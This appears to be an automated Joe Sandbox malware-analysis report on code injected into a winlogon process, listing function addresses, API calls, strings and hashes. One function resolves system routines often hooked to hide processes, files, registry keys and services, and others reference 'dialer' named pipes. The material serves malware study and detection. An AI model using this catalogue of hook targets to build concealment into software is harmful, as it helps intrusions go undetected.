Instruction ID: 3e014252695f0c00fb7a0bb71849fee8b47a642a1c148055653ae182c2af6344
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 54B1807221065282EF9A9F65C4407F9A3A4F7A5BE4F445226FEA9637D8DF38CE40C344

Function 000001F385BC7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001F385BC7DAC
RtlCaptureContext.NTDLL ref: 000001F385BC7DD9
RtlLookupFunctionEntry.NTDLL ref: 000001F385BC7DF3
RtlVirtualUnwind.NTDLL ref: 000001F385BC7E34
IsDebuggerPresent.KERNEL32 ref: 000001F385BC7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F385BC7EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001F385BC7EB4

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: e0b9b7052118a7287e8f390f34dccee8bc25c43afc6201edd398442163f3e76f
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 43315D72205B818AEBA19F64E8403EE7364F795794F44413AEE5D47B98EF3CCA48C714

Function 000001F385BCD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001F385BCD31D
RtlLookupFunctionEntry.NTDLL ref: 000001F385BCD335
RtlVirtualUnwind.NTDLL ref: 000001F385BCD370
IsDebuggerPresent.KERNEL32 ref: 000001F385BCD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F385BCD3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001F385BCD3BE

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 119532e0019eb03a6f85644e89c7b11ad2598611322a358013ebae4ac99bf1c6
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: E2310B36214B818ADBA18F25E8403EE63A4F7D97A4F540225FEAD47B99DF3CC6558B00

Function 000001F385BC7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001F385BC798C
GetCurrentThreadId.KERNEL32 ref: 000001F385BC799A
GetCurrentProcessId.KERNEL32 ref: 000001F385BC79A6
QueryPerformanceCounter.KERNEL32 ref: 000001F385BC79B6

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 886ad51172aaf13e8012940450bcb762d4a0f855fb16cb69d876ae1c8491be24
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: D5111F32750B0289EF81CF60E8553A833A4F7697A8F441E35EE6D47799DB7CC6988380

Function 000001F385BCDCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: 0ab57e8a41362360b4c2b69986fe903eab220494ac42150a3405ac5a4fa8be70
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction Fuzzy Hash: AD51C5367006C189FB619B72A8407EA7BA5F7947E4F144225FE6867BDDDA3CCA01C704

Function 000001F385BA36F0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.2651276901.000001F385B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385B90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385b90000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction ID: 6dd60b39cab2d84fa712c6e0a873e69cabff84c93a7a43a81c19e979f1af2cba
Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction Fuzzy Hash: 7AF068717152558EEFD98F68A40276977D1F3583D0FD08129EA9A83B48D27C8150CF04

Function 000001F385BC12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F385BC1319
GetProcessHeap.KERNEL32 ref: 000001F385BC1327
HeapAlloc.KERNEL32 ref: 000001F385BC1338
RegEnumValueW.ADVAPI32 ref: 000001F385BC1397

Part of subcall function 000001F385BC152C: StrCmpIW.SHLWAPI ref: 000001F385BC155D

GetProcessHeap.KERNEL32 ref: 000001F385BC13DF
HeapAlloc.KERNEL32 ref: 000001F385BC13ED
GetProcessHeap.KERNEL32 ref: 000001F385BC140A
HeapFree.KERNEL32 ref: 000001F385BC1418
lstrlenW.KERNEL32 ref: 000001F385BC1421
GetProcessHeap.KERNEL32 ref: 000001F385BC142F
HeapAlloc.KERNEL32 ref: 000001F385BC143D
StrCpyW.SHLWAPI ref: 000001F385BC145F
GetProcessHeap.KERNEL32 ref: 000001F385BC1476
HeapFree.KERNEL32 ref: 000001F385BC1484

Strings

d, xrefs: 000001F385BC135A

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: b2b3583c4c13428535a8a1f942f546f92154c8786cef82e3cf051c49b1cbc2ed
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 63515B32200B8686EB95CF62E4483AA77A1F7D9BE9F544234EE5907798DF3CC645CB00

Function 000001F385BC1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001F385BC1D1F

Part of subcall function 000001F385BC1FD4: GetModuleHandleA.KERNEL32 ref: 000001F385BC1FEC
Part of subcall function 000001F385BC1FD4: GetProcAddress.KERNEL32 ref: 000001F385BC1FFD

Part of subcall function 000001F385BC5B30: GetCurrentThreadId.KERNEL32 ref: 000001F385BC5B6B

Strings

EnumServicesStatusExW, xrefs: 000001F385BC1E11, 000001F385BC1E32
sechost.dll, xrefs: 000001F385BC1E39
advapi32.dll, xrefs: 000001F385BC1DF7, 000001F385BC1E18
NtDeviceIoControlFile, xrefs: 000001F385BC1E56
NtEnumerateKey, xrefs: 000001F385BC1DB9
NtQueryDirectoryFileEx, xrefs: 000001F385BC1D9C
ntdll.dll, xrefs: 000001F385BC1D2D
NtResumeThread, xrefs: 000001F385BC1D62
EnumServiceGroupW, xrefs: 000001F385BC1DF0
NtQueryDirectoryFile, xrefs: 000001F385BC1D7F
NtQuerySystemInformation, xrefs: 000001F385BC1D45
NtEnumerateValueKey, xrefs: 000001F385BC1DD6

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: d595e3e3372c9b20bd3718418993cbc429e4e82f856070faa9de1b73c2b9a119
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 9831877414098BA4EE87EFA5E8516F46321A7E43E4F844273BCB9122ED9E7C8B49C354

Function 000001F385B96910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F385B96938
__scrt_acquire_startup_lock.LIBCMT ref: 000001F385B9698A
_RTC_Initialize.LIBCMT ref: 000001F385B969B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F385B969DE
__scrt_release_startup_lock.LIBCMT ref: 000001F385B96A09

Strings

scriptor', xrefs: 000001F385B96B39, 000001F385B96BB2, 000001F385B96BEC
`eh vector vbase copy constructor iterator', xrefs: 000001F385B969EE
`dynamic initializer for ', xrefs: 000001F385B969C7
`eh vector copy constructor iterator', xrefs: 000001F385B96A3B

Memory Dump Source

Source File: 0000002B.00000002.2651276901.000001F385B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385B90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385b90000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 4409f07fb228c0d555485b01c2f5db390ec7bc0f911a69b9524e815b9d6d2938
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 6081AB3160060386FAD39F6594413F966A1ABE57E0FA48235BE25477DEFB3CCB468701

Function 000001F385BCCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001F385BCCE37
FlsGetValue.KERNEL32(?,?,?,000001F385BD0A6B,?,?,?,000001F385BD045C,?,?,?,000001F385BCC84F), ref: 000001F385BCCE4C
FlsSetValue.KERNEL32(?,?,?,000001F385BD0A6B,?,?,?,000001F385BD045C,?,?,?,000001F385BCC84F), ref: 000001F385BCCE6D
FlsSetValue.KERNEL32(?,?,?,000001F385BD0A6B,?,?,?,000001F385BD045C,?,?,?,000001F385BCC84F), ref: 000001F385BCCE9A
FlsSetValue.KERNEL32(?,?,?,000001F385BD0A6B,?,?,?,000001F385BD045C,?,?,?,000001F385BCC84F), ref: 000001F385BCCEAB
FlsSetValue.KERNEL32(?,?,?,000001F385BD0A6B,?,?,?,000001F385BD045C,?,?,?,000001F385BCC84F), ref: 000001F385BCCEBC
SetLastError.KERNEL32 ref: 000001F385BCCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001F385BD0A6B,?,?,?,000001F385BD045C,?,?,?,000001F385BCC84F), ref: 000001F385BCCF0D
FlsSetValue.KERNEL32(?,?,00000001,000001F385BCECCC,?,?,?,?,000001F385BCBF9F,?,?,?,?,?,000001F385BC7AB0), ref: 000001F385BCCF2C

Part of subcall function 000001F385BCD6CC: HeapAlloc.KERNEL32 ref: 000001F385BCD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F385BD0A6B,?,?,?,000001F385BD045C,?,?,?,000001F385BCC84F), ref: 000001F385BCCF54

Part of subcall function 000001F385BCD744: HeapFree.KERNEL32 ref: 000001F385BCD75A
Part of subcall function 000001F385BCD744: GetLastError.KERNEL32 ref: 000001F385BCD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F385BD0A6B,?,?,?,000001F385BD045C,?,?,?,000001F385BCC84F), ref: 000001F385BCCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F385BD0A6B,?,?,?,000001F385BD045C,?,?,?,000001F385BCC84F), ref: 000001F385BCCF76

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: ab4e86b80bad7de7d9fc3ab59b2f76ba8cf21dcb8283221406096f04f5b2af92
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: A9415D3024168786FAEBA73555553F926829BF67F0F280734BD36466EEDE2C9F018608

Function 000001F385BC2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001F385BC2259
GetCurrentProcessId.KERNEL32 ref: 000001F385BC2263

Part of subcall function 000001F385BC1934: OpenProcess.KERNEL32 ref: 000001F385BC1952
Part of subcall function 000001F385BC1934: IsWow64Process.KERNEL32 ref: 000001F385BC1968
Part of subcall function 000001F385BC1934: CloseHandle.KERNEL32 ref: 000001F385BC1983

CreateFileW.KERNEL32 ref: 000001F385BC22BC
WriteFile.KERNEL32 ref: 000001F385BC22E4
ReadFile.KERNEL32 ref: 000001F385BC2303
CloseHandle.KERNEL32 ref: 000001F385BC230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000001F385BC228C
\\.\pipe\dialerchildproc32, xrefs: 000001F385BC2293

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: b1f9f93cb01f113d9316950de3058d2bf3c52726d10c2abd083118da5a752f1a
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 9B213D3261464286EB518B25E4443A963A0F7D9BE4F944325FEA903BE8CF7CC649CB04

Function 000001F385B99944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F385B999A1

Part of subcall function 000001F385B9A814: __GetUnwindTryBlock.LIBCMT ref: 000001F385B9A857
Part of subcall function 000001F385B9A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F385B9A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F385B99A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F385B99CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F385B99DDA

Strings

csm, xrefs: 000001F385B99A22
csm, xrefs: 000001F385B999BB
csm, xrefs: 000001F385B99A9C

Memory Dump Source

Source File: 0000002B.00000002.2651276901.000001F385B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385B90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385b90000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 89869763d31d70a6664f7afe8390858ba70db1f617f2886a7312f5174378804d
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: BCE1AE32604B4286EBE29B25D4813FD37A1F7E57E8F100225FE6957B99EB38C290C741

Function 000001F385BCA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F385BCA5A1

Part of subcall function 000001F385BCB414: __GetUnwindTryBlock.LIBCMT ref: 000001F385BCB457
Part of subcall function 000001F385BCB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F385BCB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F385BCA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F385BCA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F385BCA9DA

Strings

csm, xrefs: 000001F385BCA69C
csm, xrefs: 000001F385BCA622
csm, xrefs: 000001F385BCA5BB

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: aaf1cc35d11ae05a2632683eb1bd403c02529057552cc08f6e5be18958e980d5
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 9BE1A07260474186EBA2DF65D4813ED77A0F7A4BE8F100225FEA957BD9CB38DA81C704

Function 000001F385BCF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001F385BCF510
GetProcAddress.KERNEL32 ref: 000001F385BCF51C

Strings

ext-ms-, xrefs: 000001F385BCF46D
api-ms-, xrefs: 000001F385BCF45A

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: d636cb6fcfe5ac36cb180e2c1fe7e0ac221cfd02b4f72b76c9f1893fc7a1ecf8
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: E141BF32311A0291EA97CB16A8007F52395FBA5BF0F594375BD2A877CCEA3CCA458308

Function 000001F385BC104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F385BC10B1
RegEnumValueW.ADVAPI32 ref: 000001F385BC1117
GetProcessHeap.KERNEL32 ref: 000001F385BC115A
HeapAlloc.KERNEL32 ref: 000001F385BC1168
GetProcessHeap.KERNEL32 ref: 000001F385BC1185
HeapFree.KERNEL32 ref: 000001F385BC1193

Strings

d, xrefs: 000001F385BC10D6

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 01501970025b8a16af69953ccfeb273e0ae5138ac2b6fb46539807bede4d7400
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: EA417E32214B85C6E7A1CF61E4443AA77A1F398BD8F548229EE991779CDF3CC945CB00

Function 000001F385BCD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001F385BCC7DE,?,?,?,?,?,?,?,?,000001F385BCCF9D,?,?,00000001), ref: 000001F385BCD087
FlsSetValue.KERNEL32(?,?,?,000001F385BCC7DE,?,?,?,?,?,?,?,?,000001F385BCCF9D,?,?,00000001), ref: 000001F385BCD0A6
FlsSetValue.KERNEL32(?,?,?,000001F385BCC7DE,?,?,?,?,?,?,?,?,000001F385BCCF9D,?,?,00000001), ref: 000001F385BCD0CE
FlsSetValue.KERNEL32(?,?,?,000001F385BCC7DE,?,?,?,?,?,?,?,?,000001F385BCCF9D,?,?,00000001), ref: 000001F385BCD0DF
FlsSetValue.KERNEL32(?,?,?,000001F385BCC7DE,?,?,?,?,?,?,?,?,000001F385BCCF9D,?,?,00000001), ref: 000001F385BCD0F0

Strings

1%, xrefs: 000001F385BCD0CE
Y%, xrefs: 000001F385BCD0A6

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 7b0f6b2b2c262150a3e5074f4c0839de0ecc50569b3260bde6390161f78a9210
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 66111C347042C645FAFBA72959523F962419BE47F0F6847B5BC39466EEDE2CCF028608

Function 000001F385BC7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F385BC7538
__scrt_acquire_startup_lock.LIBCMT ref: 000001F385BC758A
_RTC_Initialize.LIBCMT ref: 000001F385BC75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F385BC75DE
__scrt_release_startup_lock.LIBCMT ref: 000001F385BC7609

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: ef941430167cb6942911e2266a7754952b4ee9def37cad19c030d044e1fadb84
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 27818B7161060386FBD6AB2A94413F96290AFE57E0F544639BE38477DEDA3CCF498708

Function 000001F385BC9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001F385BC9E49
GetLastError.KERNEL32 ref: 000001F385BC9E57
LoadLibraryExW.KERNEL32 ref: 000001F385BC9E81
FreeLibrary.KERNEL32 ref: 000001F385BC9EC7
GetProcAddress.KERNEL32 ref: 000001F385BC9ED3

Strings

api-ms-, xrefs: 000001F385BC9E69

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: f2fc9e50d80dcf80fc4ca459e6f8d64556b7fcd08f0b3d7ca7df50233bdedf36
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 1A31B031212A02D1FE979B42A4007F42295B7A9BF0F590735BD394B7D8EF3CDA498308

Function 000001F385BD3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001F385BD3DE5
GetLastError.KERNEL32 ref: 000001F385BD3DF1
CloseHandle.KERNEL32 ref: 000001F385BD3E09
CreateFileW.KERNEL32 ref: 000001F385BD3E34
WriteConsoleW.KERNEL32 ref: 000001F385BD3E53

Strings

CONOUT$, xrefs: 000001F385BD3E15

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 24ee0d3c3fdf8dc854bf28b68e46fc9f908ee672aa9e0ff533891e641e7e60b3
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: E2115E31210A4286E7918B56E84436966A0F7E8FF4F544334FE6A877D9CB7CCA148740

Function 000001F385BC2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F385BC2F27
HeapAlloc.KERNEL32 ref: 000001F385BC2F3A
StrCmpNIW.SHLWAPI ref: 000001F385BC2FAF
GetProcessHeap.KERNEL32 ref: 000001F385BC3015
HeapFree.KERNEL32 ref: 000001F385BC3023

Strings

dialer, xrefs: 000001F385BC2FA8

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 9479a4e4da195d168078971477690de0f7ba99455b5b0671873ad8e27db6120e
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: CF31B736701B5682EE96CF56D5407B9A790FBE4BE0F484230BE9847B99EF3CC9618704

Function 000001F385BCCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001F385BCCFAF
FlsSetValue.KERNEL32(?,?,?,000001F385BCD6B5,?,?,?,?,000001F385BCD778), ref: 000001F385BCCFE5
